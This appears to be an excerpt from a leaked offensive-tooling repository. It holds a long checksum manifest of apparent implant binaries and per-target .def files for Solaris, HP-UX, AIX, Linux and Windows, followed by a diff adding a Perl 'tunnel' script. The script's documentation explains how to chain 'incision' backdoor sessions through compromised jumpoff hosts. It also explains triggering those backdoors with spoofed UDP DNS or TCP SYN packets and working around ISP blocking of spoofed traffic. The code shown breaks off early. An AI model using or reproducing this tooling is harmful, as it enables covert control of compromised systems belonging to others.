3995698530 51155 188 + charm_razor.win2k_v.2.0.0.1 128000 1451219500 24792 37268 + charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 56632 226825469 46664 40920 + charm_razor.sunos5.9_v.1.1.0.3 59568 91737847 17306 42859 + charm_razor.sunos5.8_v.1.2.0.2 59228 4192771466 38533 62528 + charm_razor.linuxsuse9.0_v.1.2.0.2 56632 680536732 24974 59306 + charm_saver.hp-uxb.11.11_v.1.0.0.1 69632 3630848700 37489 50075 + charm_saver.hpux11.00_v.2.0.0.2 135168 2809723314 33326 33264 + charm_saver.win2k_v.2.0.0.2 129024 4072671704 43512 9330 + charm_uno.sunos5.9_v.1.1.0.4 59068 454980940 19934 34383 + charm_vortex.sunos5.8_v.1.0.0.2 130904 962184551 43641 40306 + charm_vortex.sunos5.8_v.1.0.1.2 134012 25154499 02604 13777 + charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 44036 1037772173 34535 63790 + charm_uno.v2.0.0.3.linuxrh7.3_v.linux 104832 2378762621 46734 27954 + charm_uno.v2.0.0.4.sunos5.8_v.solaris 139508 4209565044 26578 4191 + charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 41712 2961548002 49558 62226 + crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 11072 2677364788 40689 57717 + crypttool.linux2.4.18-3_v.2.0.0.15 75500 4219473146 54809 40127 + cursegismo.sunos5.8_v.1.1.1.1 56032 2119034623 44366 5880 + cursegismo.sunos5.9_v.1.1.1.1 59404 3431640361 44871 47291 + cursemagic.sunos5.8_v.1.1.0.3 65672 3682722919 42991 61390 + cursehydrant.hp-uxb.11.00_v.6.0.0.6 69632 2730536067 23201 29195 + cursehydrant.hp-uxb.11.11_v.6.0.0.6 69632 3469957415 04973 16073 + cursemagic.sunos5.9_v.1.1.0.3 65956 821555292 03972 28658 + cursebingo.sunos5.10_v.1.0.1.2 41444 2200294884 11804 21282 + cursebongo.sunos5.10_v.1.0.0.4 31580 2547692562 30492 38426 + cursebongo.sunos5.8_v.2.0.0.1 139348 3981776761 62992 62647 + cursebongo.sunos5.8_v.1.1.0.1 67204 1662188603 25032 4384 + cursechicken.sunos5.8_v.1.0.1.4 62604 3169135528 07424 61567 + cursechicken.sunos5.8_v.1.0.0.1 57116 1988781962 51659 42621 + cursedevo.sunos5.8_v.1.0.0.3 149932 3585726772 28443 50325 + curseflower.mswin32_v.1.0.0.3 90112 1985062419 18896 47647 + cursegismo.sunos5.8_v.1.1.0.4 58928 2212791441 32684 63118 + cursegismo.linuxrh7.3_v.2.0.0.2 121624 3039175349 38874 23207 + cursegismo.sunos5.8_v.2.0.0.2 166508 3650214234 13976 40359 + cursegismo.hpuxb.11.00_v.2.0.0.2 151552 2404513618 64926 21918 + cursegismo.sunos5.8.i386_v.2.1.0.1 160936 3497525570 10444 5600 + cursegismo.linuxrh7.3_v.2.1.0.1 121548 3715354245 20944 37150 + cursegismo.sunos5.8_v.2.1.0.1 172596 2401859147 26922 52333 + cursegismo.hpux11.00_v.2.1.0.1 155648 1048643453 28701 2274 + cursegismo.sunos5.8_v.1.2.0.2 65932 3555538394 61509 34882 + cursehappy.sunos5.8_v.5.0.0.5 74120 4009497509 39508 57634 + cursegismo.sunos5.8.i386_v.2.0.0.5 155060 1476936287 40325 51145 + cursehappy.hp-uxb.11.00_v.5.0.0.5 77824 3793389417 54798 22769 + cursehappy.mswin32_v.5.0.0.5 94208 208482002 07468 60091 + cursehappy.hp-uxb.11.11_v.4.1.2.4 1859584 2302649716 33019 18135 + cursehappy.win2k_v.6.0.0.1 80896 902732025 34814 8351 + cursehappy.rhl7.3_v.6.0.0.1 118872 3335983393 64569 52778 + cursehappy.hp-uxb.11.00_v.6.0.0.1 151552 3404938804 10577 57918 + cursehappy.sunos5.8_v.6.0.0.1 152252 3035988714 25161 22509 + cursehappy.sunos5.8_v.6.1.0.1 161564 4281879084 25472 34846 + cursehappy.hpux11.00_v.6.1.0.1 159744 1992944929 44034 28301 + cursehappy.win2k_v.6.1.0.1 150528 1910129873 23158 58895 + cursehappy.linuxrh7.3_v.6.1.0.1 123184 2161229410 48141 9448 + cursehappy.linuxrh7.3.unknown_v.6.2.0.3 155836 1950211397 07726 51556 + cursehappy.hpux11.00.risc_v.6.2.0.3 176128 3806395765 02724 44677 + cursehappy.win2k.i686_v.6.2.0.3 170496 1183909897 02339 3052 + cursehappy.sunos5.8.sparc_v.6.2.0.3 180936 51457078 37748 44755 + cursehelper.win2k_v.2.1.0.2 142336 933130206 24878 64656 + cursehelper.aix5.1_v.2.1.0.2 191061 973745972 00104 51956 + cursehelper.hp-uxb.11.00_v.1.1.0.1 73728 695320636 13786 29916 + cursehelper.sunos5.8_v.1.1.0.1 67180 1452211910 54509 13514 + cursehelper.sunos5.8_v.2.1.0.2 152004 3750919642 34972 55494 + cursehelper.hpux11.00_v.2.1.0.2 147456 481961459 06585 60105 + cursehydrant.hp-uxb.11.00_v.6.1.0.2 65536 2552445006 63293 61889 + cursehydrant.sunos5.8_v.6.1.0.2 62104 542450193 55512 43779 + cursejoker.aix5.1_v.1.0.0.4 179957 930112664 03692 7907 + cursekettle.sunos5.8_v.1.0.0.2 60108 2243636501 10825 46330 + cursekiln.sunos5.8_v.1.0.0.2 176404 2350204552 27241 29410 + cursekiln.sunos5.8_v.1.0.1.3 176692 4029566111 43116 8599 + cursemagic.sunos5.8_v.1.0.0.0 63052 2795023847 62889 24380 + cursemagic.sunos5.8_v.1.2.0.2 69968 1487201815 64171 47485 + cursemagic.solaris5.8_v.2.0.1.1 140248 1248938891 58383 16679 + cursemagic.sunos5.8_v.2.1.0.3 167836 598611910 30306 20384 + cursemagic.hpux11.00_v.2.1.0.3 163840 2684793360 63580 63601 + cursemagic.sunos5.8_v.1.3.0.5 74620 3234158720 23749 13651 + cursemagic.rhl7.3_v.1.3.0.5 62772 3162802334 44131 3770 + cursemagic.linuxrh7.3_v.2.0.0.1 113432 167693029 55807 14486 + cursemagic.solaris5.8_v.2.0.0.1 140624 1690841195 12267 19685 + cursemagic.linuxrh7.3_v.2.0.1.1 113432 3153799582 01885 22339 + cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 53408 2441618935 64676 3295 + cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 56724 207296234 22777 59489 + cursemagic.hpux11.00_v.2.0.1.1 139264 1919573794 54402 9001 + cursemagic.aix5.1_v.2.0.1.1 198300 2876776973 04202 14685 + cursemagic.aix5.1_v.2.1.0.3 224264 2892482690 20212 56702 + cursemagic.linuxrh7.3_v.2.1.0.3 146812 3739978016 60850 60509 + cursenag.sunos5.8_v.1.0.0.1 148824 4216236752 48499 25454 + cursequake.sunos5.8_v.1.0.0.2 138728 2219816470 53554 24668 + cursequake.sunos5.8_v.1.1.0.4 151108 706987852 08863 21242 + curserazor.sunos5.10_v.1.1.1.1 39676 3416494995 15730 22487 + curserazor.sunos5.10_v.1.2.0.7 65384 305811214 01661 25903 + curserazor.sunos5.10_v.1.3.0.5 53456 733184331 07508 63261 + curserazor.mswin32_v.1.3.0.5 86016 874321155 19600 59845 + curserazor.sunos5.8_v.1.3.1.8 61532 451177918 40120 17665 + curserazor.mswin32_v.1.3.1.8 86016 2208599433 41162 58749 + curserazor.win2k_v.2.0.0.5 142336 3614550981 32141 38186 + curserazor.sunos5.8_v.2.0.0.5 151712 266392035 36062 20560 + curserazor.win2k_v.2.0.1.1 145920 3665025734 52447 19736 + curserazor.sunos5.8_v.2.0.1.1 156956 2913942188 43306 37613 + curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 139368 2738524079 30084 17788 + curseroot.aix5.1_v.2.0.0.3 206940 4220672519 01458 41704 + curseroot.win2k_v.2.0.0.3 83968 3199238746 00188 16711 + curseroot.sunos5.8_v.2.0.0.3 156004 1488178427 29645 44513 + curseroot.sunos5.8_v.2.1.0.8 174600 3865000465 62188 465 + curseroot.hpux11.00_v.2.1.0.8 159744 442481978 53445 33604 + curseroot.aix5.1_v.2.1.0.8 212828 1016031690 09045 37291 + curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 152164 2191768342 35020 43082 + curseroot.win2k_v.2.1.0.8 153088 1978315693 29292 787 + curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 96293 816171095 18516 14921 + curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 56328 1120697341 27207 53347 + curseroot.v1.2.0.2.mswin32_v.1.2.0.1 86016 3831955783 57092 58718 + curseroot.sunos5.8_v.1.2.2.9 61908 91720371 30642 60130 + curseroot.mswin32_v.1.2.2.9 90112 3674847582 02019 56223 + curseroot_flx.win2k.i686_v.1.0.0.4 266752 1497748764 00721 14296 + curseroot.hpuxb.11.00_v.2.0.0.3 143360 3733355325 60984 39977 + curseroot.aix5.1_v.1.2.2.9 101741 4212013735 56643 29014 + curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 60728 1919049662 13932 562 + cursesleepy.mswin32_v.1.0.0.5 81920 693236723 15328 26517 + cursetails.aix5.1_v.1.0.0.1 180276 4044734128 31290 58204 + cursetingle.aix.5.1_v.1.1.1.1 99925 2516963645 50006 1948 + cursetingle.mswin32_v.2.0.0.1 98304 3746339119 48113 52565 + cursetingle.sunos5.8_v.2.0.0.1 137132 1479052110 35756 44597 + cursetingle.aix.5.1_v.2.0.0.1 180813 2891705692 59684 10363 + cursetingle.aix5.1_v.2.0.1.1 184593 3105856638 26898 26451 + cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 259141 2828128604 39262 42960 + cursetingle_flx.win2k.i686_v.1.0.1.3 262656 2321704376 27557 30000 + cursetingle.2.0.1.2.mswin32_v.2.0.1.1 98304 1876770440 20050 12575 + cursetingle.sunos5.8_v.2.0.1.1 142392 3826035928 56373 14520 + cursetingle.sunos.5.9_v.1.0.0.7 55444 986565815 56621 50199 + cursetingle.mswin32_v.1.0.0.7 81920 467686355 09311 12178 + cursewham.win2k.i686_v.1.0.0.3 135168 3859843989 24516 31571 + curseyo.win2k_v.1.0.0.1 64000 1497165595 22488 60014 + cursezinger_flx.win2k.i686_v.1.0.0.2 262656 3131462353 37427 20791 + cursezinger.win2k_v.2.0.0.2 155648 1139756440 63461 7620 + cursezinger.linuxrh7.3_v.2.0.0.2 146512 23087955 55272 41261 + cursezinger.linuxrh7.3_v.1.0.0.1 125880 4253402431 45933 16844 + cursezinger.win2k_v.1.0.0.1 139264 2191543083 27871 51316 + cursezinger.win2k_v.1.1.0.3 138240 2382619163 09901 381 + cursezinger.linuxrh7.3_v.1.1.0.3 117272 756885449 58885 62504 + cursezinger.win2k_v.1.2.0.1 142336 545843415 57530 59663 + cursezinger.win2k_v.1.2.1.1 142848 2300782138 03792 58131 + cursezinger.linuxrh7.3_v.1.2.1.1 117272 991474873 07665 52134 + cursehappy_hpux_v.6.0.0.1_liquidsteel.def 11967 309534018 16427 17184 + cursehappy_hpux_v.6.0.0.1_wholeblue.def 12728 3426441111 04364 8623 + cursehappy_hpux_v.6.0.0.1_serenefire.def 10941 3007513211 24482 6050 + cursehappy_hpux_v.6.0.0.1_shakengiraffe.def 17523 2949704008 58696 22659 + cursehappy_hpux_v.6.0.0.1_coastalvortex.def 8340 1913960233 36854 10125 + cursehappy_hpux_v.6.0.0.1_sloshedgalah_a.def 10212 3894506520 63074 6453 + cursehappy_hpux_v.6.0.0.1_sloshedgalah.def 15848 3676360765 21895 30784 + cursehappy_hpux_v.6.0.0.1_editionhaze.def 9648 1923445065 45307 42332 + cursehappy_hpux_v.6.0.0.1_silenttongues.def 11020 3867892359 22419 8308 + cursehappy_hpux_v.6.0.0.1_sicklestar.def 10007 1773735182 36043 60709 + cursehappy_hpux_v.6.0.0.1_serenecosmos.def 10941 3644008379 30048 6048 + cursehappy_hpux_v.6.0.0.1_diamondaxe.def 10645 3737860963 65119 43836 + cursehappy_hpux_v.6.0.0.1_coastalstorm.def 8186 1678361808 17016 64646 + cursehappy_hpux_v.6.0.0.1_coastalburn.def 8186 1112915560 46098 64629 + cursehappy_hpux_v.6.0.0.1_darkaxe.def 15605 2431309579 12787 10631 + cursehappy_hpux_v.6.0.0.1_paperfish.def 11441 381502248 06547 40942 + cursehappy_hpux_v.6.0.0.1_darkaxe_moc_mtc_only.def 3964 2001215412 41684 30257 + cursehappy_hpux_v.6.1.0.1_wholeblue.def 12712 415534325 41346 7320 + cursehappy_hpux_v.6.2.0.3_liquidsteel.def 12565 3825121023 43223 63704 + cursehappy_hpux_v.6.2.0.3_wholeblue.def 13309 2626011780 28211 53831 + cursehappy_hpux_v.6.2.0.3_serenefire.def 11539 2737694146 34965 52570 + cursehappy_hpux_v.6.2.0.3_shakengiraffe.def 18166 99790464 01033 6875 + cursehappy_hpux_v.6.2.0.3_coastalvortex.def 8938 167200304 09899 56645 + cursehappy_hpux_v.6.2.0.3_sloshedgalah.def 16446 3469547707 13779 11769 + cursehappy_hpux_v.6.2.0.3_sloshedgalah_a.def 10537 193079961 23265 32065 + cursehappy_hpux_v.6.2.0.3_editionhaze.def 10246 1226832140 10864 23317 + cursehappy_hpux_v.6.2.0.3_silenttongues.def 11617 3525151714 49504 54819 + cursehappy_hpux_v.6.2.0.3_sicklestar.def 10605 2721198962 31219 41694 + cursehappy_hpux_v.6.2.0.3_serenecosmos.def 11539 2732026936 07027 52568 + cursehappy_hpux_v.6.2.0.3_diamondaxe.def 11075 938417711 18722 12486 + cursehappy_hpux_v.6.2.0.3_coastalstorm.def 8784 3730837173 30379 45631 + cursehappy_hpux_v.6.2.0.3_coastalburn.def 8783 3227423186 54047 45605 + cursehappy_hpux_v.6.2.0.3_darkaxe.def 16203 3385379118 33409 57151 + cursehappy_hpux_v.6.2.0.3_paperfish.def 12251 1972119393 21877 37985 + cursehappy_hpux_11.00_v.5.0.0.5_editionhaze.def 9648 1929737941 12712 42330 + cursehappy_hpux_11.00_v.5.0.0.5_silenttongues.def 11066 3139215691 40687 11543 + cursehappy_hpux_11.00_v.5.0.0.5_sicklestar.def 9913 4260235558 42103 54070 + cursehappy_hpux_11.00_v.5.0.0.5_liquidsteel.def 12013 1879295493 61077 20417 + cursehappy_hpux_11.00_v.5.0.0.5_serenecosmos.def 10987 1678640955 24246 9285 + cursehappy_hpux_11.00_v.5.0.0.5_wholeblue.def 12774 341296418 48222 11853 + cursehappy_hpux_11.00_v.5.0.0.5_serenefire.def 10987 1244429632 05060 9287 + cursehappy_hpux_11.00_v.5.0.0.5_diamondaxe.def 10691 2625290384 56021 47067 + cursehappy_hpux_11.00_v.5.0.0.5_coastalstorm.def 8186 3280967004 59011 64644 + cursehappy_hpux_11.00_v.5.0.0.5_coastalburn.def 8186 3855871972 49089 64627 + cursehappy_hpux_11.00_v.5.0.0.5_shakengiraffe.def 16993 2508929687 04187 50432 + cursehappy_hpux_11.00_v.5.0.0.5_darkaxe.def 14840 1834845399 09531 23752 + cursehappy_hpux_11.00_v.5.0.0.5_paperfish.def 11487 3074356543 49471 44174 + cursehappy-hpux11.11_v.4.1.2.4_silenttongues.def 11066 541471505 51498 11544 + cursehappy-hpux11.11_v.4.1.2.4_editionhaze.def 9648 4150856398 30645 42331 + cursehappy-hpux11.11_v.4.1.2.4_sicklestar.def 9913 3129343639 42448 54071 + cursehappy-hpux11.11_v.4.1.2.4_liquidsteel.def 12013 1012649203 34433 20418 + cursehappy-hpux11.11_v.4.1.2.4_serenecosmos.def 10987 1452568790 21762 9285 + cursehappy-hpux11.11_v.4.1.2.4_wholeblue.def 12774 2240385131 57114 11857 + cursehappy-hpux11.11_v.4.1.2.4_diamondaxe.def 11323 985772421 28395 30778 + cursehappy-hpux11.11_v.4.1.2.4_coastalstorm.def 8186 3316032623 06901 64642 + cursehappy-hpux11.11_v.4.1.2.4_shakengiraffe.def 16983 826384167 39992 49863 + cursehappy-hpux11.11_v.4.1.2.4_darkaxe.def 16198 2349942852 14351 64130 + cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def 12803 1967258321 13344 13734 + cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def 11274 585588577 60600 27086 + cursehappy-solaris_v.4.0_editionhaze.def 10434 3554712859 32534 37466 + cursehappy-solaris_v.4.0_silenttongues.def 12144 264840104 54467 29109 + cursehappy-solaris_v.4.0_sicklestar.def 10205 3173803460 28487 10738 + cursehappy-solaris_v.4.0_liquidsteel.def 13829 840044669 02409 30364 + cursehappy-solaris_v.4.0_serenecosmos.def 12250 4094378744 49051 42334 + cursehappy-solaris_v.4.0_wholeblue.def 15088 1685878040 36262 59942 + cursehappy-solaris_v.4.0_shakengiraffe.def 19604 1586877344 42208 57145 + cursemagic_aix_v.2.1.0.3_editionhaze.def 19068 293137546 57086 11649 + cursemagic_aix_v.2.1.0.3_serenecosmos.def 19068 568891456 62123 11269 + cursemagic_aix_v.2.1.0.3_wholeblue.def 19068 2143614061 20591 13474 + cursemagic_aix_v.2.1.0.3_diamondaxe.def 19068 2243265220 55285 12135 + cursemagic_aix_v.2.1.0.3_vocalcottage.def 19068 1652436036 33716 8068 + cursemagic_aix_v.2.1.0.3_coastalburn.def 19068 4170399546 38287 9208 + cursemagic_aix_v.2.1.0.3_stirredgibbon.def 19068 3152820175 27007 6817 + cursemagic_aix_v.2.1.0.3_sloshedgalah.def 19068 3708590838 62213 12496 + cursemagic_aix_v.2.1.0.3_darkaxe.def 19068 3856168464 22746 12055 + cursemagic_aix_v.2.1.0.3_fiestarun.def 19068 1000292990 34572 8483 + cursemagic_aix_v.2.1.0.3_ironglass.def 19068 3919271234 64417 12120 + cursemagic_aix_v.2.1.0.3_paperfish.def 19068 2254027079 57731 12291 + cursemagic_aix_v.2.0.1.1_editionhaze.def 18096 1849204005 28277 65264 + cursemagic_aix_v.2.0.1.1_serenecosmos.def 18096 158638522 17915 443 + cursemagic_aix_v.2.0.1.1_wholeblue.def 18096 1720191625 12684 61346 + cursemagic_aix_v.2.0.1.1_diamondaxe.def 18096 952621241 60970 872 + cursemagic_aix_v.2.0.1.1_vocalcottage.def 18096 1283902548 11029 64435 + cursemagic_aix_v.2.0.1.1_stirredgibbon.def 18096 439533862 15579 61691 + cursemagic_aix_v.2.0.1.1_coastalburn.def 18096 2421865852 12728 1553 + cursemagic_aix_v.2.0.1.1_sloshedgalah.def 18096 2743407331 39159 883 + cursemagic_aix_v.2.0.1.1_fiestarun.def 18096 3273295174 00154 844 + cursemagic_aix_v.2.0.1.1_ironglass.def 18096 2057256634 09211 3267 + cursemagic_aix_v.2.0.1.1_paperfish.def 18096 4252347543 62831 884 + cursebingo.v2.0.0.3.sunos5.8_v.solaris 142932 225323094 50042 18422 + cursehole.v1.1.0.3.aix5.1_v.aix_51 92969 2417323214 09132 30252 + cursehole.v1.1.1.1.aix5.1_v.aix_51 97757 4012898249 57748 4964 + cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.superceded 251489 776515953 47413 27090 + cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 1523256 2933352913 27477 59239 + cursehole.v1.0.0.6.sunos5.9_v.solaris_9 49376 4126741311 00489 956 + cursehummer.hp-uxb.11.11_v.1.0.0.11 69632 1504796841 12511 29697 + curselion.aix.5.1_v.1.0.0.10 91289 1580474347 15532 54401 + curserazor.sunos5.10_v.1.1 37208 2992845755 52693 65440 + curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 60792 44987521 37761 31907 + curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 66144 1404334531 27434 55095 + dampcrowd.i686-pc-linux-gnu-redhat-5.0_v.2.0.0.1 3220 3904151856 62383 39500 + dampcrowd.sparc-sun-solaris2.5.1_v.2.0.0.1 4632 60192895 59397 48457 + dampcrowd.i386-pc-solaris2.6_v.2.0.0.1 3736 1794953451 29366 9004 + dampcrowd.pa-risc1.1_v.2.0.1.1 16384 2584211350 23463 27354 + dampcrowd.powerpc-aix3.4_v.2.0.0.2 3143 2059792591 31598 9012 + enemyrun.hp-uxb.11.00_v.2.3.1.3 81920 3474769018 58047 45631 + enemyrun.sunos5.8_v.2.3.1.3 76288 112800950 29544 11553 + enemyrun.hp-uxb.11.11_v.2.3.2.2 86016 3855243332 38339 35954 + enemyrun.sunos5.10_v.3.0.0.1 102140 195662001 23056 63902 + enemyrun.hp-uxb.11.00_v.3.0.0.1 98304 4135520224 05301 12010 + enemyrun.sunos5.8_v.3.0.0.1 102124 4239123439 62495 10807 + enemyrun.sunos5.9_v.3.0.0.1 102348 1306510493 45542 30066 + enemyrun.hp-uxb.11.11_v.3.0.0.1 98304 1925453674 12376 39549 + enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 96128 1495089507 56908 35756 + enemyrun.sunos5.8_v.3.1.1.4 125732 2964449093 50280 48621 + enemyrun.hp-uxb.11.00_v.3.1.1.4 122880 1359899754 37580 50950 + enemyrun.linuxrhl7.3.i686_v.3.2.0.1 100748 548764427 37332 52 + enemyrun.sunos5.8.sparc_v.3.2.0.1 125932 4199346901 57697 23066 + enemyrun.sunos5.8.i386_v.3.2.0.1 103480 467581597 57683 59336 + enemyrun.linuxrhe3.6.i686_v.3.2.0.1 96000 3987012891 14191 19704 + enemyrun.hpux11.00.parisc_v.3.2.0.1 122880 1298342391 62423 31099 + enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 89824 1008510950 30150 54370 + enemyrun.rhl7.3_v.3.1.1.5 100524 2799309865 04067 47832 + enemyrun.v3.1.1.6.sunos.8.i386_v.superseded 103896 2473857171 03863 53497 + enemyrun.hp-uxb.11.00_v.2.0 81920 1895622567 12109 27126 + enemyrun.sunos5.8_v.2.0 72464 1892367427 31269 56046 + enemyrun.sunos5.9_v.2.0 72728 546621835 46772 12395 + enemyrun.hp-uxb.11.11_v.2.0 81920 2449355597 24282 63011 + enemyrun.sunos5.8_v.2.2 74820 823082180 17934 24756 + enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 90112 459051398 47042 63683 + enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 79908 3451483656 42697 60572 + enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 79852 1069599440 28661 57815 + enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 80076 1194779291 50548 11512 + enemyrun.sunos5.8_v.2.3 74988 668917919 63533 23729 + orleans_stride.aix5.1_v.2.4.0.2 90415 3261507141 12047 6902 + orleans_stride.sunos5.8_v.2.4.0.2 57004 2400511526 36957 11303 + orleans_stride.sunos5.9_v.2.4.0.2 57296 2368896150 06460 36431 + orleans_stride.sunos5.8_v.2.5.0.2 61488 3855523192 48044 17376 + orleans_stride.aix5.1_v.2.5.0.2 100209 2743678155 53364 41505 + orleans_stride.sunos5.8_v.3.0.0.1 152180 2373394418 09231 1899 + orleans_stride.aix5.1_v.3.0.0.1 191057 2741854458 33921 13751 + orleans_stride.sunos5.8_v.3.1.0.1 172804 1365017728 52246 45641 + orleans_stride.aix5.1_v.3.1.0.1 214661 2767675038 39448 47734 + orleans_stride.sunos5.8_v.2.5.2.7 71288 2487439107 21537 14698 + orleans_stride.aix5.1_v.2.5.2.7 109013 4171261320 28337 20504 + orleans_stride.sunos5.8_v.2.5.1.9 66656 2265926621 34276 6908 + orleans_stride.aix5.1_v.2.5.1.9 105285 3794444431 53017 48496 + orleans_tride.sunos5.8_v.2.0 38312 2666598478 27891 14024 + orleans_tride_v2.2_aix5.1_v.2.2 81971 2383423910 41269 60017 + orleans_stride.0.0.sunos5.8_v.2.3 50756 1895700473 25122 44666 + sift.linux_v.2.0.1.1 180340 1242274982 15433 4920 + sift.solaris.x86_v.2.0.1.1 160560 3699147297 46604 53831 + sift.solaris.sparc_v.2.0.1.1 176460 7510671 07413 21395 + skimcountry.sunos5.8_v.2.0.0.3 149916 1621673867 56926 19684 + skimcountry.aix5.1_v.2.0.0.3 203776 3254804545 10599 32810 + skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 270833 591709200 28185 10148 + skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 276901 515577067 26565 39849 + skimcountry.sunos5.9_v.1.2 67224 1523123911 39003 62169 + skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 57640 1678541867 43873 32216 + skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 57864 1509708895 42860 51185 + skimcountry.sunos5.8_v.1.4.0.10 64860 1079665595 20385 21070 + skimcountry.aix5.1_v.1.4.0.10 104337 2161640150 52999 25524 + strifeworld_-i386-pc-solaris2.6_v.1.0.0.3 165916 2080133113 21539 51945 + strifeworld_-x86_64-unknown-linux-2.6-gnu_v.1.0.0.3 204256 3499450053 26749 24086 + strifeworld_-i686-pc-linux-2.6-gnu_v.1.0.0.3 187260 4119743775 53035 8664 + strifeworld_-i386-unknown-freebsd7.2_v.1.0.0.3 175412 992624691 25830 1488 + strifeworld_-sparc-sun-solaris2.6_v.1.0.0.3 236384 3240374217 48424 13324 + watcher.x86.linux_v.2.5.0.1 104672 3111397216 53579 55992 + watcher.solaris.sparc_v.2.5.0.1 120568 971863888 44784 46401 + watcher.i386-linux_v.2.6.0.1 192200 1076630491 60708 18102 + watcher.sparc-sun-solaris2.6_v.2.6.0.1 207312 2415279614 45058 38210 + watcher.sparc-sun-solaris2.6_v.2.6.1.1 207384 857504225 56198 8566 + watcher.i386-linux_v.2.6.1.1 181652 2024342350 51495 50424 + watcher__v.2.7.0.0 27464 1148853217 18795 18553 + watcher__v.2.7.0.0.00000 183104 212834410 20162 59905 + watcher__v.2.7.0.0.00001 181432 539214264 54017 52203 diff --git a/Linux/bin/tunnel b/Linux/bin/tunnel new file mode 100755 index 0000000..04d1ead --- /dev/null +++ b/Linux/bin/tunnel @@ -0,0 +1,521 @@ +#!/usr/bin/perl + +# +# $Log: tunnel.pl,v $ +# Added TCP SYN trigger support +# +# Change the use of the $uselocal option (-l of tn). Use in all instances +# of tunnel (tn), not just the first +# +# Added /sbin to environment path so that ifconfig can be found +# Fixed bug when assigning defaultTunnelIp. defaultIp was missing the $ reference +# +# The use local flags is only necessary when crafting the first tn command. +# +# Add tunnel perl script to repository. +# Makefile target to make tunnel from tunnel.pl +# + +=head1 NAME + +tunnel - A perl wrapper to {s|l}tun and tn for establishing an incision tunnel. + +=head1 SYNOPSIS + +B [-l] [-syn [port]] [-gIp
] [-gPort ] +[-localIp
] [-localPort ] +[-key ] -tunnelIp
[-tunnelPort ] +-target
-target
+ +Repeat the key, tunnelIp, tunnelPort and target sequence for each +tunnel you need to establish. Must be in tunnel sequence. + +B [-l] [-syn] [-gateway ] [-local ] +[-key ] -tunnel -target -target + +Repeat the key and tunnel sequence for each tunnel you need to +establish. Must be in tunnel sequence. + +B [-l] [-syn] [-keys ] +-tunnels +-targets + +=head1 DESCRIPTION + +B will start the B (for linux a linux) or B (for a solaris +host) incision tunnel program and read its output to generate the appropriate +incision telnet (B)command string. B will setup and initiate all +but the last the last B command for any number of intermediary targets. +The final B will be setup and displayed, but it is up to the user to +run this final step. + +B supports 3 different forms for supplying arguements. You may mix +the usage, however, you may not combine like options. For example; if you +specify the B<-tunnelIp> argument, you cannot later use B<-tunnel>. You must +be consistent. + +B establishes a tunnel by creating an incision connection to a jumpoff +host. Multiple jumpoff points are supported. This is accomplished by supplying +additional key, tunnel address and target options for each jumpoff host. +They must appear in the order that they will established. + +=head1 OPTIONS + +=over 12 + +=item C<-l> + +Creates the Incision trigger using the local IP address instead of a +spoofed address. This is necessary when certain ISP's block outgoing packets +containing spoofed addresses. This is only necessary for the initial trigger +packet when starting the pipe. + +=item C<-syn [port]> + +Send a TCP SYN tigger packet instead of the default UDP DNS tigger packet type. +If a B is supplied, this will be used for the B command only. +All other tiggers will use a randomly generated port. + +=item C + +=item C + +=item C + +B and B create a gateway tunnel on the local host. -gIp and -gPort +are the local host address and port. Alternately the -gateway form can be used, +but not at the same time as gIp or gPort. If unspecified, they default to +127.0.0.1 and some random value. + +=item C + +=item C + +=item C + +tunnel is the combined form of localIp and localPort. Use one or the other, +but not both. The first usage of tunnel will refer to the local host as +opposed to a jumpoff tunnel host. (See below) +localIp is the external address for the local host, usually the +ppp or eth0 interface. B will attempt to determine the external +interface and the address assigned to it. The port for this interface will +default to some random value. + +=item C + +=item C + +Each jumpoff and the final target destination require an incision key. The +first form allows you to specify the first key for each jumpoff target. +Repeat its usage for each jumpoff and the final target. The second form, +keys, allows you to specify all the keys in a coma separated list, in order +that they will be used. If only a partial list is supplied, you will be +prompted by tn for the key to use. + +=item C + +=item C + +=item C + +=item C + +Again tunnel is the combined form of tunnelIp and tunnelPort. The second +and subsequent appearance of tunnel specify the jumpoff hosts' "internal" +interface. If port is unspecified or an '*', it defaults to some random value. +If the ip address is '*', B and B will report back a 0.0.0.0 +address for the internal interface. B will then prompt for the +required address. + +The fourth form, tunnels, allows you to specify all the ip addresses in +order the tunnel will be established. This form requires you to enter the +local host localhost and external interface addresses, instead of allowing +them to default. + +=item C + +=item C + +target and targets specify the "external" address for each incision host. +This is the address that you would use if you were to incision into each +host directly using B. targets simply allows you to specify them +all together. + +=item C + +The verbose flags allows you to see the outputs of B, B and +B. + +=back + +When setting up the tunnel, order is important. You must specify the +keys, tunnels and target address and ports in order the tunnel will be +established. + +You should also have B and B or B in your execution path. +B will look there for these utilities. + +B begin by starting up B or B, reading and parsing its +output to generate the appropriate B commands. Each jumpoff host will +be established automatically. The final B command will be printed to +standard output with instructions on how to run it. B will not +exit, until the final incision session has exited, or if there is a failure +with connecting with any of the jumpoff hosts. + +Terminating B will also tear down the entire path to the target. + +=cut + +use Env; +use Env qw(PATH); +use FileHandle; +use Getopt::Long; +use Term::ReadLine; + +{ +package Gateway; +local($ltun); 